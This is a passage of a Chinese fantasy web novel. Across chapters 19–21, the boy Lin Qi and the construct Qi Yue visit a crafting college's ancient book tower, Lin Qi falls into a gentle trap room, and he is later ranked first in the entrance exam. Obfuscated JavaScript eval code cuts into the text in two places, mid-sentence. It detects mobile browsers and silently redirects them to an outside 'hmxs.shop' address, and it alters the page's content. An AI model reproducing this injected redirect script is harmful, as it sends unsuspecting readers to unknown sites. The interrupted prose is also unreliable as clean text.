浇花?很好。 他怎么不顺便挖个坑把自己埋了。 主考官又叫了几个工作人员去请,都被许慎行搪塞回来,他没办法,只能亲自去请,这次却连造院的大门都没进去。 拖拖拉拉过了半个小时,林栖今天起得早,已经有点饿了。 主考官负手盘桓片刻,叹了口气,随即又堆起笑容,走到林栖面前。 “是这样的,你们许院长现在有点忙,我这边也不清楚他还要再忙多久,而且还有其他孩子等着考试,也不好一直拖着。不如这样吧,我先送你过去,等许院长忙完了手头的事,立刻就会处理你的事情。放心,我都交代好了,你只需要耐心等着就行。” 于是,林栖手里拿着一封“介绍信”,被主考官亲自送到了造院门口。 主考官仿佛害怕大门会咬人似的,站得几仗远,转身朝他挥手告别,“去吧,进去吧孩子,祝你好运。” 林栖看着眼前紧闭的造院大门:“……” 他试着敲了敲门,没人搭理。 林栖原地等了一会儿,把信塞进门缝,起身时,总觉得旁边少了什么。 这时就听后方传来一阵窸窣响动。 祈越站在几米外的一棵树上,朝院子看了一眼,右肩倚着树干,左腕一抬,“咻”地扔出一颗石子。 接着,他眯眼瞄准,又连着扔了两颗。 空气静了一瞬,下一刻,许慎行的声音好像激光炮一样从院子里轰了出来:“是谁干的!给我出来!” 林栖:“……” 现在逃跑还来得及吗? 祈越好似某种野生动物,从五六米的树上轻松跃下,走到门前,抬手,像驱赶小飞虫似的,把林栖往旁边撵了撵。 林栖刚朝旁边退开一步,门就开了。 许慎行板着一张脸踏出台阶,整个人像刚从冻土层里掘出来的,皮肤白得仿佛长着霉霜,在太阳底下随时都能尸变。 祈越迎着他的视线开口:“石头是我扔的,不好意思,第一颗没瞄准,砸到玻璃上了。” 林栖在心里把他的意思补充完整:后两颗瞄得很准,成功砸到了您的脑壳。 嗯……不是人话。 许慎行眸光锋锐,刀子似的,从祈越脸上划过,朝林栖看了一眼,又划回来,活动着手腕,阴涔涔地一笑—— “好,你砸的,很好,还有什么话想说吗?” 林栖在心里翻译,这句话的意思是:请你交代遗言。 19. 第 19 章 作为一件造物,祈越显然足够智能,能理解人类语言中的弦外之音。 许慎行让他说遗言,他直接更进一步,把后事给交代了—— 祈越指着槭树丛道:“那边风景不错,可以就地挖个坑,把我埋了。” 说完又扫了一眼许慎行脚下,“遗言在信封里。” 许慎行早就看见了这封信,只是不想搭理。他往脚下瞥了一眼,一脸“我倒要看看你们搞什么鬼”的表情,后退一步,弯腰拾起信封。 之前校方派人请他,只说考核方面遇到了一点难题,让他过去看看,没说具体情况。 他嫌弃地拆开信封,伸直手臂,把几张公文纸举得老远,仿佛纸是狗屎做的,臭不可闻。 目光匆匆扫过几行,却又骤然拉近,凝神片刻,脸色一变,当场“诈尸”。 许慎行脑子里点炮似的,崩出两个字—— 放屁! 胡扯!开什么狗屁玩笑! 学校那帮蠢货,说这小孩儿带了顶级造物考试?顶你个头的顶! 狗屎!脑子被驴踢了?! 自己放了屁不嫌臭,还上赶着来恶心他? 二十年前他就能把整部造物史倒背如流,了解每一位杰出造物师的独特风格。 眼前这个不知道是什么玩意儿的混账东西,根本就不可能是造物! 许慎行恨不得一脚一个,把门口两人踹飞,再杀到三号楼大骂三百回合,脸上表情却平静到近乎诡异,不带一丝戏谑,有一种赌咒发誓般的郑重—— 这、不、可、能。 但是—— 万一呢? 他的经验、理智、感受、直觉都告诉他,这件事就是放屁。 但万一呢? 哪怕只有千万分之一的概率,他也不敢赌。 别人都能错。 只有他不能错。 他是造物学院的现任院长,他要对过去和未来负责。 “你们两个,跟我来吧。”沉默许久后,许慎行终于开口。 造院教学楼是学城中最古老的建筑,经历过风霜雨雪,火海雷鸣,修修补补延续至今。 有些地方补得不能再补,破损处从老鼠洞变成狗洞,又敲敲打打改成拱门,依然没有推倒重建。 它像一只被这片丘陵抱了两百年的阿贝贝,每一个曾经短暂拥有它的孩子都为它打上新的补丁,却从没有人想要将它拆散。 因此,那种独特的质感才能保存至今。 教学楼背后藏着一个院子,位置十分隐蔽,大铁门上挂着警示牌,又落了重锁,明晃晃的生人勿近。 院子里只有一栋建筑,名叫“书塔”。 对学生来说,它是“鬼屋”加“吉祥物”,对老师来说,它是“祖宗”加“接力棒”——毕竟,要成为造院院长,条件之一就是得到书塔认可。 得到认可,才能进到书塔内部,查阅历任院长留下来的珍贵资料。 锁链发出“当啷”一声,许慎行打开铁门,带着两人进了院子。 这一路上,他只要一有机会,就会观察祈越,心里好像戳着一根弹簧,反复下压弹起,来来回回就是两个念头—— 这肯定不是造物! 可万一呢? 搞得心情起起伏伏,异常烦躁,拿根火柴在他脑子里划拉一下,都能直接点着。 院子里的杂草长得格外茂盛,许慎行踏上石砖小路,指着远处唯一的那栋建筑,跟两人介绍—— “这是我们院的书塔,少说也有两百岁了,既是古建筑,也是古造物。但凡弄坏一点儿,把你俩一起挖坑埋了也赔不起。所以管好你们的手,一块砖头也别乱碰。” 书塔本塔看起来并不像听起来那么珍贵,整栋建筑歪歪扭扭,墙砖花花绿绿,像是把一张百家被卷成了筒子,随手往地上一墩。 细看之下,书塔材质也很随意,墙面有生锈的金属也有磨平的木头,像是有人每天蹲在废品堆里扒拉,拼拼凑凑,修修补补,才攒出了这么一座小塔。 林栖面朝书塔,微仰着头,手指无意识地动了动。 风从书塔后方吹来,又扫过他的指尖,无形的气流仿佛带了温度和质感。林栖恍惚觉得,自己摸到了金属的薄韧和木质的温沉…… 许慎行观察两人反应,阴涔涔地一笑,“而且这位祖宗脾气不好,又很认生,你们第一次来,记住别惹它,也别乱说话。” 顿了顿,又道:“万一踩着陷阱也别乱哭乱叫。” 林栖慢半拍地回过神来。 什么祖宗? 他看向祈越,想知道自己听漏了什么,却发现对方正在看他,目光带着审视,不知道已经看了多久。 林栖下意识地低头看了一眼。视野中,手臂缠满细密的红线,就这么堂而皇之地暴露在阳光下,让人想起某位很著名的皇帝,不穿衣服就敢到处乱跑。 他知道别人看不见这些红线,可一旦被人盯着,又总觉得无所遁形。 祈越目光在他脸上停住,只说了两个字:“果然。” “什么果然?”林栖刚问完就有点后悔,祈越嘴里肯定吐不出什么好话。 “眼睛和脑子都是摆设——”祈越目光朝书塔方向一扫,“说是要找,真见了又认不出来。” 他这话说得没头没尾又没主语,完全莫名其妙,然而更莫名其妙的是,林栖居然能听懂。 两百岁的书塔……古造物……要找又认不出来…… 林栖再次看向那座歪扭扭的建筑,嘴唇微微抿了一下又张开,“这是林叙留下来的造物?” 祈越没回答,但林栖仿佛听见了两个字:废话。 后面甚至还带着回音——送到眼前都认不出来,你还找什么找? 林栖:“……” 虽然,他的确对造物一无所知,当时去店里找造物也只是为了立人设,但是…… 你怎么知道我认不出来? 又没写在脸上。 这时就听许慎行在旁边“哦”了一声,多少有些阴阳怪气,“你知道的倒是挺多。” 这算是回答了林栖的问题,但又没给出明确答案,显然是不太想提。 瑕疵出现在普通石头上——无人在意,出现在宝石上则令人惋惜。 匠人会对瑕疵切割清理,或者利用设计遮掩过去。 书塔确实是“那位”留下来的造物,这在院里不算什么秘密,只是一般没人会提。 如果有人主动在造院师生面前提起“林叙”这个名字,那多半不是为了学术讨论,而是故意找茬。 “那位”在两百年前一手创建造物学院,既是造物术的起-点,也是后世所有造物师的根源,但偏偏臭名昭著,是个人尽皆知的大反派、大坏蛋。 自从许慎行开始学习造物,听得最多的四个字就是“批判对待”,他的老师常说“骂归骂,学归学”“上梁不正,下梁不歪”。 他们这些造物师,对这种根源上的污点已经习以为常——反正擦也擦不掉了,只能忍着。 但每次提起“林叙”两个字,心里还是会有一种很微妙的情绪,说不清是怨怼还是惋惜。 只有真正了解造物的人,才能懂得当年那位校长有多惊才绝艳。 许慎行小时候问的最多的一个问题就是:“林校长真的是坏人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517633|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 第二多的问题是:“他为什么要做坏事?” 他问过父母,问过老师,问过同学,得到的答案很多,但没有一个是他愿意听的。 年幼不懂事时,他曾无数次设想—— 历史书是假的,林校长是被冤枉的。 一定是有人嫉妒他,所以才会陷害他。 咒术有那么多种,难道就没有一种可以控制别人做坏事吗? 林校长不是坏人! 肯定还有一个幕后黑手! 他曾为此化身儿童侦探,一头扎进历史书里,但看得越多就越沉默……林校长怎么好像真的是个坏人? 庭审记录里有林叙的亲笔证词,承认是自己亲手把学生变成了怪物。 许慎行还记得自己当时有多失望。 ……别说当时,即使到了现在,他也还是偶尔会想不开——在遇到学术难题解不了的时候、在被学生成绩气到想上吊的时候、在招生考试没人来的时候……他心里总会冒出一个五岁小男孩儿的声音,无比幼稚地说:如果林校长不是坏人该有多好? 他甚至在脑子里构筑了一个平行时空,想象那些坏事从未发生,林校长一直在学校待到头发花白,慈祥又和蔼地教出一代又一代的学生。 其中那些最优秀的学生会接过校长衣钵,把造院发扬光大……这样一来,到了他出生的年代,面对的就不是一堆残破古籍,而是一代代积累下的经验财富。 以他的平庸,大概没本事当上院长,但生在一个前路辉煌的时代,他还可以学得更多,走得更远。 或许,他也有希望亲手做出顶级造物,而不是像现在这样,对着一个完全不可能是顶级造物的混账玩意儿,为了一点点可怜的希望把外人带来书塔…… 许慎行在心里叹了一声,收起思绪,看向林栖,本就苍白的脸色越发阴沉。 “书塔可以鉴定造物,一般人不知道,也没这么大脸,今天我就为了你的‘顶级造物’破例一次。走吧,快点,早完早了。” 地面石砖和野花交错,通向一排狗啃似的台阶。 歪斜的橘色立柱之间拢着窄窄一道拱门。 许慎行抢先一步踏上石阶,语气平淡,“这边有几个陷阱,你们两个等一下,先别乱动。” 林栖老实停步,同时手往旁边一伸,薅住了仍在往前走的祈越。 祈越身后衣服绷紧,迈出去的步子悬空顿住,斜着视线朝他扫了过来。 林栖目不斜视,根本不看祈越,手却依然抓着他的衣服不放,仿佛人手分离,人是人,手是手,人对手的行为并不负责。 祈越有点无语。 前方,许慎行计算出了陷阱所在位置,像往常一样,打算直接把陷阱触发解除,结果一脚踩上,却无事发生。 许慎行:“?” 这不应该。 但他也没多想,毕竟书塔已经两百岁了,偶然抽风一下也很正常。 许慎行只是带着一点疑惑,叫身后两人一起上了台阶。 进门之后是一圈环形走廊,许慎行很熟练地在墙面一敲,打开机关,转动旋钮。 只听一阵有节奏的“咔咔”声响,右侧走廊尽头缓缓展开一道扶梯,台阶不断向前推进,一直延伸到几人脚下。 许慎行瞥向林栖,“楼梯是镜像,左边安全,你先过去。” 林栖很听话地转向左侧,结果刚走两步,就一脚踏空,掉了下去。 失重的一瞬间,他听到了许慎行的声音,依稀是一句很经典的脏话。 于是他想,他应该是踩到陷阱里了。 ……可他明明走了左边。 20. 第 20 章 周围一片漆黑。 失重感只持续了短短几秒,林栖被什么东西拦了一下,又被什么东西接了一下,开始沿着一道斜坡下滑。 按照常识,斜坡尽头应该就是陷阱。 脑中闪过刀尖林立的深坑和漆黑冰冷的水潭,林栖开始思考,如果自己掉进深坑,整个人扎在刀上拔不下来,那么伤口应该怎么恢复? ……保持这个姿势大概恢复不了,他得用两手撑着墙壁往前挪,先把自己切成均匀的薄片,吧唧吧唧掉在地上,然后才能穿过那些刀柄,重新拼成一个整的。 如果掉进水潭,被一群鳄鱼分着吃呢?分散在不同胃袋里的肢体又该怎么恢复? 可能需要鳄鱼先比一下谁吃得最多,少数服从多数,小块的肢体主动朝大块的肢体方向靠拢……先从吃得少的那只鳄鱼牙缝里挤出来,再钻到吃得多的那只鳄鱼嘴里。 嗯…… 如果这样的话,吃得少的鳄鱼反而会吐。 有点好笑。 周围太暗,林栖什么也看不见,但能感觉到,身下的斜坡转了几个弯。他在脑内勾画地形图,刚画到第三个转弯,就觉眼前光线忽然一亮。 身下再次一空。 接着听到闷闷一响。 等他适应光线回神,就见自己掉进了一个…… 一片……? 一张床上。 是的,床上。 一张又大又软的床。 好像刚烤好的戚风蛋糕,一按就瘪下去,抬手又蓬起来。 手感很好。 林栖保持着掉下来的姿势,半陷在柔软的床垫里,朝四下看了看。 房间不大,墙壁是浅浅的暖棕色,与其说是卧室,更像一个冬眠用的洞穴。 他想起一些绘本上的插图,水袋形的洞穴深埋地下,周围是深厚的,暖棕色的土层。 一只小动物穿着睡衣团在里面,与世隔绝。 特别有安全感。 片刻,头顶传来一点窸窣响动,天花板上露出一道圆形缺口,把一团东西丢了下来,正落在林栖面前。 那团东西很轻,落在床上就从一卷摊开成一片。 是一套……睡衣? 颜色浅灰,材质绵软,不带装饰,明显穿过洗过,看大小是成人尺码。 林栖疑惑地歪了下头。 不等他细想,天花板上又掉下来一个枕头,高矮合适,软硬适中,一看就很舒服。 林栖有点茫然。 如果他没记错的话,这好像是一个陷阱。 所以这个陷阱的作用原理是……高床软枕,让人睡死过去? 林栖观察片刻,把自己从床头挪到床尾。头顶那个“投递窗口”像是一盏追光灯,紧跟着他向前移动,间隔几秒,又往他面前精准投放了一只圆形抱枕。 接着还有一瓶汽水和几包饼干。 林栖刚好有点饿了,忍不住朝饼干袋子多瞄几眼,结果就注意到了边角处的生产日期。 ……饼干已经过期两百年了。 汽水也是。 当然不可能真的过期那么久,两百年是书塔的年纪,这些应该是配合陷阱做的道具。 如果有人吃完饼干之后才看日期,脸上表情应该会精彩。 所以这是那种整人用的陷阱? 林栖手里捏着一包饼干,从床上下来,走向旁边靠墙的一张书桌。 他脚步刚停,桌上的台灯就自动亮了。 紧接着又有什么东西掉了下来,啪叽一声砸在桌上。 ——是个本子。 很普通的样式,深棕色,不带图案,只在腰上绑了一道皮绳。 如果这也是整人道具,本子里可能会有机关,或者掉出几条虫子。 林栖刚想凑近观察,就听本子咳了两声,哑着嗓子开口:“别吃零食!” 林栖:“……” 谢谢,没打算吃。 毕竟已经过期两百年了。 奶白色的挂钟在墙上走动一格,本子再次开口,声音好似一只鸭子,嘎嘎叫道:“还有一个小时就吃饭了,现在吃了零食,等会儿还有肚子吃正餐吗?” 林栖看着它,眨了眨眼睛。 本子继续声讨:“现在都几点了?被子叠了吗?衣服洗了吗?教案做了吗?白天偷懒,晚上就得熬夜,明天又起不来,恶性循环下去作息永远都不会好!等等……你该不会还没起床吧?” 林栖:“……?” “不会吧……不会真的没起床吧?”本子用一种痛心疾首的语气持续唠叨。 从封皮上看,它像是那种没用过的老物件,又旧又新。 林栖盯着它看了一会儿,做好随时看见大虫子的心理准备,拿起本子,拆了皮绳。 绳子一松,说话声瞬间停了。 林栖随手把本子翻到中间一页,就见几行字很随意地写在纸页边角,跟上下左右都没对齐。 【白小梦,生日7.29,花生过敏,喜欢柠檬糖(三色小熊)】 【看书多,逻辑强,会吵架,暂定咒院(植院先上一年基础),过完生日家访,少说正事多拍马屁,别提咒字,多说植院——我们植院好啊,就是种花嘛,园艺嘛,不吵不闹,多适合小姑娘,斯斯文文陶冶情操】 文字最后画了一个眨眼吐舌头的笑脸。 翻过一页,依然是些很琐碎的记录—— 【+冬装两套,三套?膝盖手肘屁股加厚,厚厚厚厚厚……加牛皮,打钢板,你们有本事就把钢板磨穿给我看看!】 【小九记录8.17,172cm,35.12kg,竹竿都比你有肉,补吧,加餐,食谱……再想想,早饭先加两个鸡蛋,黄油煎←待定,好像有点腻?】 林栖没仔细看,直接翻到最后几页,这次看到纸上画了一堆乱七八糟的线条——竖向的折线和横向的同心圆,好像一捆树枝戳在毛线堆里。 画面空白处穿插着几行小字: 【好烦】 【不想干了】 【就该让山支山月来当这个校长】 校长? 林栖目光顿住,心里刚升起一点疑问,想再往后翻翻,就听一道喊声从远处传来—— “林栖!能听见吗!林栖——!听见说话!” 是许院长。 林栖立刻放下本子,顺着声音方向走到墙边,离得近了才发现,墙上原来有门,只是被一道和墙壁同色的帘子遮着,不仔细看不出来。 他掀开帘子,推门出去,外面是一条曲曲折折的走廊。 “林栖——!”许慎行还在喊他。 林栖应了一声,又想起什么似的,回头看了一眼,却见自己走出来的那道门消失了,背后只有一面光滑的墙。 他顺着走廊往前走,刚转过一个弯,就见许慎行朝他跑了过来。 许慎行停步时叉腰喘气,宽瘦肩膀有些打颤,一双眼睛几乎失去高光,仿佛一具僵尸被人吊着手脚跑了一场马拉松,整个尸都快风干了。 风干僵尸半死不活地抬着眼皮,盯住林栖,边喘边问:“你没事吧?摔疼了吗?骨折了吗?吓傻了吗?” 林栖摇头。 他没事,反而有点担心这位院长一口气提不上来,当场就把自己憋死。 “这祖宗……”许慎行大喘气,“不知道又闹什么,脾气,到处机关都,不正常,神经病一样,你跟着我,一步都,别乱走,跟好,走,先出去。” 林栖乖乖跟上。 走了一段,许慎行终于把一口气喘匀了,问林栖:“你刚才掉在哪儿了?” “一个……房间。”林栖很严谨地回答。 “房间?行吧,房间。”许慎行也没打算细问,书塔陷阱五花八门,而且经常推陈出新,遇到什么情况都不稀奇。 如果是本院学生误闯进来,最多被书塔捉弄一下,困在陷阱里饿上几顿,不会真的伤着,但林栖不是造院学生,严格来说算是“私闯”,许慎行怕他真的出事,所以才会一路跑着过来找人。 差点没把自己跑死。 林栖跟着许慎行一起出塔,一路还算顺利。 祈越等在石阶下方,见他出来,眸光朝他上下一扫,没说话。 许慎行让林栖在院子里等,自己带祈越去做鉴定,走之前还不忘威胁林栖,不要乱跑,也别靠近书塔,否则后果自负。 林栖听话地站在院子里等。 在他对面,两百年的书塔安静矗立,似乎也在等着什么。 临近正午,阳光穿过鸦羽般的睫毛,落进眼底时依然滚烫。 四下安静,只有风声。 眼前的世界随风轻摇,连带着心里也有什么微微摇晃,像是揣着一只空铁罐,被风一吹,四壁就发出回响,让林栖莫名想要抓住什么,扔进去,把它填成实心。 可是应该抓什么呢? 阳光下的一切似乎都离他很远。 不知过了多久,两道人影从书塔那边走了过来。 清瘦的少年身影像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524727|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔着一层透光的雾,面目有些模糊。 林栖手指在身侧轻轻抽了一下,听到许慎行说:“确实是顶级造物,署名也没问题。” 每个字都很清楚,听起来却又有些失真。 林栖有种很奇怪的感觉,好像自己只是一个角色,正演着一部属于别人的电影,周围一切都是影棚中的布景,阳光也只是顶棚上的射灯。 他抬眼望向天际,试图找到那个“顶棚”,却只看到了一点慵懒的云絮。 一个念头像沼泽中的气泡一样浮了上来,在胸腔中空旷回响——我到底是谁? 林栖仿佛站在一面反光的镜子前方,清晰看到了这一瞬间从内心深处涌上来的冲动——想在阳光下剖开这张人皮,看看里面到底藏着什么秘密。 脚步声落在石砖上,祈越走近过来,在一米之外停下。 同时许慎行的声音传来:“让你等着,又没让你晒着,过来,给你找点水喝。” 微风吹到额前,带着一点烘烤过的青草香,暗沉的沼泽退了下去,水面恢复澄清,气泡也被水波抹平。 射灯从天边消失,林栖缓缓眨了下眼,看向许慎行。 这位脸色很苍白的院长正在朝他招手,并拢的手指在阳光下带着反光,好像扇子一样扇出残影。 看得出来很急。 而且不太客气。 不客气有两种,不乐意客气和不需要客气。 林栖垂着眼睫,看了一眼脚下,朝许慎行走了过去。 许慎行把有树荫的位置让给林栖,走了几步忽然开口:“你父母是做什么的?” 林栖好像跟自己的腿脚不熟,走路的时候需要低头盯着,“开商店的,一楼卖杂货,二楼卖衣服……不过现在不一定,我都很久没回去了。” 许慎行点点头,目光不住朝林栖身上打量,仿佛在用眼睛淘金子,视网膜反复过筛,生怕错过一粒金沙。 他看过学生档案,林栖的这个“林”和林叙的那个“林”没有关系,出身普通人家,谈不上血脉天赋,父母也没从小培养。 但是除了姓林之外,他也实在想不出这个小孩儿还有哪里特别,居然能成功署名一件顶级造物。 这就好比文盲考试得了满分。 回到教学楼,许慎行拉着路过的学生借了几个硬币,从贩卖机里拧出两瓶汽水,一瓶塞给林栖,一瓶自己喝了。 冰凉的瓶身立刻起了一层水雾,捏在手里很舒服,林栖特意看了一眼标签,确定它没过期。 许慎行一瓶汽水已经喝完了,才发现林栖那边还没开始,他将瓶子夺回去,“咔”地一下撬开盖子又塞给他。 催道:“喝啊,别愣着。” 林栖捧起汽水,用一种仿佛0.1倍速的慢动作喝了起来。 急脾气看不得这个,许慎行抖了抖脚,心道这孩子真是……理论理论不行,操作操作不行,考试一塌糊涂,偏又是个“奇才”,能够署名顶级造物…… 说到顶级造物,那就更头大了,简直莫名其妙!不可理喻!顶级造物又不是蘑菇,下一场雨就凭空冒出来了! 造物师是谁?什么时候做的?为什么没有一点记录?过去这么多年藏在哪里?又为什么会突然出现? 这里面肯定有什么是他不知道的。 肯定有。 不行,他得问问观沄。 “走吧,路上慢慢喝。”许慎行朝林栖道,“我先送你去拿考试结果,顺便找你家长聊聊入学问题。” 许慎行脚步匆匆,刚从教学楼走到前院,就听有人叫了一声:“许院长好。” 声音年纪不大,是个学生。 但只要不是造院学生就不归许慎行管。 许慎行眼皮一耷,只当没听见,然而刚走两步,就有一声鹰隼长啸从前方传来。 华丽悠扬的尾音中,那学生道:“您好,我是傅明熙,已经通过了入学考试。” 许慎行顿住脚步,“哪个入学考试?补考结果出来了?我怎么记得没到时间。” “补考”两个字似乎有些刺耳,傅明熙摸了摸肩膀上的银色猎鹰,“别人我不清楚,但对我来说,结果只有一个,跟时间没关系。” 说话间,他瞥见许慎行身后跟了两个学生,其中一个依稀有点眼熟。 哦,想起来了。 这不就是观沄捡的那位零分天才? 傅明熙打量几眼,不甚在意地收回视线,在心里评价:废物。 既傻又呆,除了好看一无是处。 21. 第 21 章 林栖见许慎行有事要忙,默默往旁边挪了几步,刚站稳,余光一瞥,就见祈越跟他做了一样的动作。 两人一前一后,隔着一米距离,站在同一片树荫底下。细碎光斑摇晃着,从林栖头顶跑到祈越肩上,绕一圈又落在林栖脚下。 几米之外,傅明熙一身红色骑装格外惹眼,在阳光下像是刚淬过火。 他微扬着头,阳光浸透眼底,一脸的少年傲气,抬手轻抚,银羽猎鹰在他肩头展翅长鸣,羽毛如星辰浸染,熠熠生辉。 许慎行终于注意到了这只猎鹰,眼神好像点火似的豁然一亮。 好东西啊! 一百年前的大师作品。 他听见自己心跳快了几拍,内心有些波澜,但又不是很多。 大概一个人在一天里的震惊量是恒定的。他刚被顶级造物震撼过一次,当时的心情堪比十级地震配上超强台风,情绪被掏空了,再遇到两三级的余震已经感觉不到什么波澜。 哦不对,还是有波澜的——他刚走路走得有点急,汽水后劲儿晃悠上来,当即波澜壮阔地打了个嗝。 玻璃瓶的汽水就是劲儿大。 打嗝声在空旷的院子里显得格外嘹亮,虽然不如银鹰叫得那么悠扬高亢,但更有层次,气泡音好似一卷闷雷,自带混响。 画风对撞,萦绕在傅明熙周围的某种高贵气场顿时裂开,仿佛被人关了美颜滤镜。 林栖低头看了一眼自己手里的汽水瓶,默默抿起嘴唇。 傅明熙脸色一僵,微微向后偏头,依然看着许慎行,目光却不落在实处,仿佛面对一间满是灰尘的房间,找不到地方落脚。 片刻他道:“我听说,新生携带造物入学可以申请特别住宿,所以过来问问,应该找谁申请。” 许慎行从银鹰身上收回视线。 问住宿直接问到院长头上?到底是申请住宿还是申请表扬? 他经常因为这些小孩儿心思太过好懂而觉得无语,眼皮一掀,回道:“还能找谁?当然是找校长申请。” 傅明熙显然没想到会听见这种答案,迟疑反问:“校长?” “对啊,校长,他老人家既有时间又有文采,夸起人来八个小时不带重样。我有幸见过一次,两百斤的胖子,被他夸过之后,就这么原地飞起来了,气球一样,在天上一飘就是三天。” 许慎行说着,眯眼一笑,“你也去试试,记得提前换身衣服,你这衣服太紧,一吹气儿就崩了。” 傅明熙上个月刚满十二岁,虽然家境优渥,见识比普通孩子多了不少,但毕竟还是孩子,又是被家里捧着长大的,听到这话,隔了好一会儿才反应过来,许慎行是在变着花儿地骂他。 更可恨的是,这个老僵尸似乎完全不把他放在眼里,刚跟他说完话就扭头去看那个废物,招手让废物跟着他走。 傅明熙一身傲气像是烧热的金汤匙被冷水泼了,几乎当场就要冒烟。 他紧绷着一张眉目张扬的小脸,“许院长没去考试现场,可能不太清楚,我的银鹰评级是高级,不是中级,这场考试我是全场第一。” 许慎行带着林栖和祈越,在门前顿了一步,“第一?也不一定吧。” 什么意思? 傅明熙拧起眉头。 什么叫不一定吧? 他的银鹰是高级造物,出自名家,而且保存完好,其他人的造物最多只是中级。 这个第一名不给他还能给谁? 傅明熙皱着眉头,叫来保镖,把肩膀上的银鹰放回笼子,吩咐他们等着,转身走进教学楼里。 院里没什么人,他走了很长一段才找到一个挂着助教牌的年轻老师。 “打扰了,我想知道今天考试成绩出来了吗?是谁考得最好?” 年轻助教打量他的一身骑装,发出“啊~”的一声,顿时有种吃瓜吃一半看到瓜朝自己滚过来的愉悦,他刚刚还在跟其他老师八卦这次补考。 “成绩应该很快就出来了,但是‘考得最好’就很难说,毕竟前后考了三场,内容都不一样。” 年轻助教笑得意味深长,“不过没关系,成绩和排名不重要,不管怎么考,只要过了,大家进到院里都是一样的。” 傅明熙朝旁边撇了撇眼,满脸的不认同。 他凭什么要跟别人一样? 片刻,他又道:“听说今天考试出了两件高级造物,是真的么?” 助教明显有些意外,“有吗?没听说啊,你是听谁说的?” 傅明熙没回答,直接转身走了。 半小时后,校方公布考试结果。 主考官念名单时,林栖站在最靠边的位置,小小一只,不声不响,存在感十分稀薄,仿佛他不是一个活人,而是一棵盆栽。 然而考官话音刚落,他就从一棵普通盆栽,变成了一棵纯金盆栽,别说在角落里藏不住,就算晚上也会闪闪发光,哪怕挖坑埋了,也要被人掘地三尺。 没人想到林栖也能考上。 更没想到他是第一个被念的名字。 校方没明说,但所有人都知道,名单顺序就是考试排名。 考官念完林栖之后才念傅明熙,也就是说,傅明熙考了第二。 这人穿得花枝招展,扛了那么大的一只猎鹰过来考试,居然只得了一个第二? 有些学生早就知道自己考不上,纯粹是来走个过场,看傅明熙吃瘪比自己考上还要高兴,频频往后偷瞄。 傅明熙站在人群靠后的位置,和所有人都不挨着,傲然目视前方,既不看林栖也不看别人,脸上表情没有任何异常,仿佛早知道会有这种结果。 如果仔细观察,他嘴角的弧度甚至是向上的,眼神中也透着一丝嘲讽,仿佛在嘲笑其他学生没有脑子,居然预料不到考试结果。 当主考官念完名单,立刻有人对结果提出质疑。 总共只有四个名额,林栖占了一个,就要挤掉一个,自然有人不服。 傅明熙目视前方,听着各种声音从耳朵灌进脑子。 根本不需要看,他也能猜到别人脸上都是什么表情。现在所有人都在看着林栖,所有声音都在讨论林栖。 有什么可讨论的? 应该讨论观沄才对。 观家确实很有实力。 像这种老掉牙的家族,使劲翻翻家底,总能找出几件高级造物,没什么可奇怪的。 造物等级相同,排名自然不分先后,先念林栖无非是想讨好观沄。 这帮考官水平也就这样了。 其他人的看法更不重要,一群考不上的废物,物以类聚,废物就是喜欢废物。 等着吧,入学之后就能看出谁的造物更好。 小废物甚至不敢把他的破烂玩意儿拿出来给别人看,怎么?难道是怕闪瞎考官狗眼? 等等……考官在说什么? 顶级造物? 什么意思? 一片“哇”声在周围响起。 傅明熙没懂,嘈杂中,他终于转动视线,看向林栖。 一小时后。 白塔二区,管理员室。 房间不大,从墙壁到桌椅,一切都是纯白色的。 阳光透过天窗照在地面,似一张圆箔被平均切成四格。 一道清俊秀雅的人影站在桌边,手里拿着双棒雪糕,轻轻掰开,将西瓜色的半支叼在嘴里,薄荷色的半支喂给一只趴在桌面上的纯白小猪。 小猪脚边摆着一叠文件。 考试结果出来了,有个学生带着顶级造物,通过了校方补考。 有意思的是,这个学生姓林。 质地温润的手指在小猪头上摸摸,年轻男人嗓音含笑,“睡醒了吗?帮我查个学生。” 同一时间,造院,许慎行几乎成了一台人形点读机,走到哪里就被人点到哪里。 助教追着他问:“院长,院长,顶级造物是真的吗?您是已经见过了吗?长什么样?” 修复课老师凭借一身肥肉把他堵在走廊,“不用您说我也知道,特殊标记肯定是没有的,但风格呢?就凭您的第一感觉,觉得风格像谁?有没有可能是那一位的早年作品?” 史论老师不在学校,但是一连给他打了三个电话。 就连一向最迟钝的基础课老师也没放过他,“既然能署名顶级造物,肯定是有天赋的,是个什么样的学生?以前自学过吗?有作品吗?” 问到最后,许慎行烦了,干脆谁也不理。 他比所有人都想知道这件造物到底什么来头,但观沄只给了他一个店名,让他自己去查。 在他找到那家古董店时,人家门口直接挂着牌子关门歇业,唯一能抓到的店员正在街角和人下棋嗑瓜子,问什么都不知道。 他只好自报家门并留下联系方式,表示想跟店主当面谈谈。 消息很快传开,临近开学,不止老师好奇,高年级的学生也很好奇,到底是什么样的造物能和真人一模一样? 林栖就是在这种好奇中入学的。 从踏入校区开始,探究的视线就无处不在。 有的工作人员忙着忙着,忽然就会转头看他一眼,接着又若无其事地假装什么也没发生。 有的学生本来在他前面,走着走着行李箱忽然就“坏了”,于是停在路边,一边鼓捣轮子,一边盯着他看。 有些人会莫名其妙把东西掉在他旁边,再十分不经意地捡起来,顺便瞄他一眼…… 